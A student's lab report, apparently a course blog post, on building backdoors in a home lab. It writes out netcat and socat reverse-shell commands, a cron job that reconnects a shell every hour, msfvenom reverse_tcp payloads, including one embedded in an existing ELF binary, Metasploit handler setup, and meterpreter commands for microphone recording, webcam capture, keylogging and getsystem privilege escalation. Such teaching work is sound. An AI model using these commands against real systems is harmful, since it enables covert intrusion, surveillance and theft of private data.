20222418 2024-2025-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

(1)使用netcat获取主机操作Shell,cron启动某项任务

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter生成可执行文件(后门),利用ncat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2.实验过程

1.使用netcat获取主机操作Shell,cron启动某项任务

(1)准备ncat工具

在windows主机上下载ncat程序,链接为
https://gitee.com/wildlinux/NetSec/attach_files ,下载后解压备用。

(2)使用netcat进行连接并获取shell

虚拟机登入root用户(后续操作需要使用root权限),主机cmd进入ncat所在目录。

Win主机输入指令:ncat.exe -l -p 8888(l表示listen,“监听”;p表示port,指定端口,这里选择8888)。

Linux虚机输入指令:nc 192.168.3.54 8888 -e /bin/sh(nc即netcat,后面的参数是要连接的主机ip和port,-e是指定连接后运行的程序,本例中就是shell)。

win主机输入ls,若能够正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell。

(3)通过设置cron使得kali启动定时任务。

进入虚拟机的root账户,输入crontab -e (执行文字编辑器来设定时程表),选择的是2:/usr/bin/vim.basic;

输入后进入文字编辑器,输入i进入插入模式,输入指令>30 * * * * /bin/netcat 192.168.3.54 8888 -e /bin/sh (输入自己主机的IP地址,在每小时的第30分钟启动任务),编辑好输入:wq保存并退出文字编辑器。

修改后在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。

现在回到Windows主机的cmd中进行操作,Win主机输入指令:ncat.exe -l -p 8888,Linux虚机输入指令:nc 192.168.3.54 8888 -e /bin/sh,还是一样与Linux建立连接之后,输入
echo "* * * * * echo "20222418" > /home/test.txt" > /var/spool/cron/crontabs/root
crontab -l (检查时程表)

进入Linux虚拟机进入对应路径检查test.txt,发现修改成功。

2.使用socat获取主机操作Shell, 任务计划启动

Socat与netcat类似,但比起netcat,socat功能更多,比如如建立ssl连接。
windows主机:下载socat,cmd进入socat文件夹,输入命令
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口8888,并把cmd.exe的stderr重定向到stdout)。

Linux虚拟机:进入root用户,输入命令:socat - tcp:192.168.3.54:8888.

回到主机,我们需要事先准备一个程序以供运行,代码如下

点击查看代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
    FILE *file = fopen("test.txt","w");
    char *str = "20222418hs";
    if(file == NULL)
    {
        printf("Error opening file\n");
        return 1;
    }
    fprintf(file,"%s",str);
    fclose(file);
    return 0;
}

程序路径:"D:\cxdownload\test_20222418hs.exe"

在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:schtasks /create /sc minute /mo 1 /tn "20222418hs" /tr D:\cxdownload\test_20222418hs.exe(每一分钟执行一次这个程序)。

回到windows主机,打开计算机管理,看到正在运行的任务名“20222418hs”,说明实验成功。


3. 在Linux下使用MSF meterpreter生成可执行文件,利用ncat传送到Windows主机并运行获取主机shell。

保证windows的实时保护处于关闭状态,同时关闭防火墙进行实验。

(1)生成后门文件

首先在kali中输入ifconfig,获得虚拟机的IP地址:

虚拟机的IP地址是192.168.1.112。

继续中输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -f exe > 20222418bd.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到可执行文件20222418bd.exe中)。

LHOST=192.168.1.112是shell 连接的主机 IP 地址,在本实验中是虚拟机的IP地址;

LPORT=8888是攻击者的系统上监听的端口号;

-f exe指定了生成的 payload 的格式,这里是exe;

20222418bd.exe即生成的恶意可执行文件:

(2)将后门文件传输至目标主机

主机进入ncat所在目录下,输入指令:ncat.exe -lv 8888 > "D:\20222418bd.exe"(监听8888窗口等待接收可执行文件20222418bd.exe,并将20222418bd.exe文件存放在D盘上)。

虚拟机上输入指令:
nc 192.168.1.110 8888 < 20222418bd.exe(将生成的后门文件 20222418bd.exe传给主机)。

Win主机接收到后门文件 20222418bd.exe,成功在D盘找到文件。

(3)配置监听模块

回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:

use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.1.112 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888


接着输入exploit,使监听模块开始运行,并在Windows终端运行后门20222418bd.exe文件:


返回检查虚拟机,输入ls查看windows主机目录,确认已经连接。

4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(1)获取目标主机音频、截屏、摄像头、键盘记录

在exploit模块中继续输入以下命令:

record_mic   (音频)

screenshot   (截屏)

webcam_snap (拍照)

keyscan_start (开始读取键盘记录)

keyscan_dump (读取键盘记录结束)

音频截屏和拍照被保存在root文档中,键盘记录的字符串将直接显示在命令栏上:


(2)提权

使用如下指令完成提权:

确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:

getuid (查看当前用户)

getsystem (提权指令)

5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在kali命令行下输入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -x /mnt/hgfs/pwn20222418/pwn1 -k -f elf -o 222418_pwn
(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 222418_pwn的文件中。)

代码解释:

-p linux/x86/meterpreter/reverse_tcp:指定要使用的有效载荷类型,这里是 Linux 系统下 x86 架构的反向 TCP Meterpreter。

LHOST=192.168.1.112:指定监听主机的 IP 地址。

LPORT=8888:指定监听端口。

-x /mnt/hgfs/pwn20222418/pwn1:指定要嵌入有效载荷的现有 ELF 文件。

-k:保持模板文件的功能不变,即尝试在嵌入有效载荷时不破坏原 ELF 文件的功能。

-f elf:指定输出文件格式为 ELF。

-o 222418_pwn:指定输出文件名。

对生成的222418_pwn文件赋予权限:

输入指令msfconsole,重现监听过程:


打开另一个shell,运行生成的222418_pwn文件(需要使用root权限):

回到第一个shell,输入ls确认连接,成功实现远程控制shell:

3.问题及解决方案

-问题1:输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -x /mnt/hgfs/pwn20222418/pwn1 -f elf > 222418_pwn试图生成一个 Linux 平台上的 x86 架构的 Meterpreter 反向 TCP Shell 载荷,但是出现了一个错误提示  -x:未找到命令。

-原因:未正确使用命令,在 msfvenom 命令中,-x 参数用于指定一个可执行文件作为模板,以便将载荷嵌入到该文件中,报错不一定是-x本身的问题,可能是由于命令行的解析或格式问题导致的误解。

-解决方法:查找资料修改命令为正确格式msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.112 LPORT=8888 -x /mnt/hgfs/pwn20222418/pwn1 -k -f elf -o 222418_pwn

-问题2:监听虚拟机开启后出现与Windows不断建立会话并失败的提示信息。

-原因:定义Metasploit Framework 模块时误将前面的有效载荷名称generic/shell_reverse_tcp填入。

-解决方法:输入show options发现输入错误,重新修正后解决。


4.学习感悟、思考等

看不懂命令真要命!!!

本次实验前半部分比较顺利,对命令一知半解但也对照着视频和资料磕磕碰碰做出来了,只剩第五个任务,做了整整两个半小时,仅仅是因为代码不对。

从一开始遇到问题的一头雾水,只会重做或者不信邪继续做直到不能继续再重做并不停重复这个过程,到后开开始查找资料看报的错是什么,尝试点对点直接解决问题但仍一知半解看似问题解决了实际上只是换了一种做法,到最后开始分析错误,理解每一步在干什么,还能与第三个任务相联系比较主动发现问题,感觉整个人都已经升华了,做完实验好歹明白了自己在干什么!

这些在实验过程中能看出来,写完都不信自己做完了,但也让我觉得奇妙和害怕,在没有保护的情况下,窃取隐私,盗取权限太容易达成了,这需要我们更加坚定网络安全和保密意识,不断学习,才能更有效地应对安全威胁。

除此之外,最大的心得是我在使用博客园写随笔方面有了进步。显而易见,比起上次第一次接触博客园,今天的我已经开始考虑编辑得更read-friendly,也在试着分点加代码、代码块,开始使用实时预览和草稿箱,也算是一种进步吧。

写完了,狂喜。

posted @ 2024-10-18 00:11  20222418何珊  阅读(2)  评论(0编辑  收藏  举报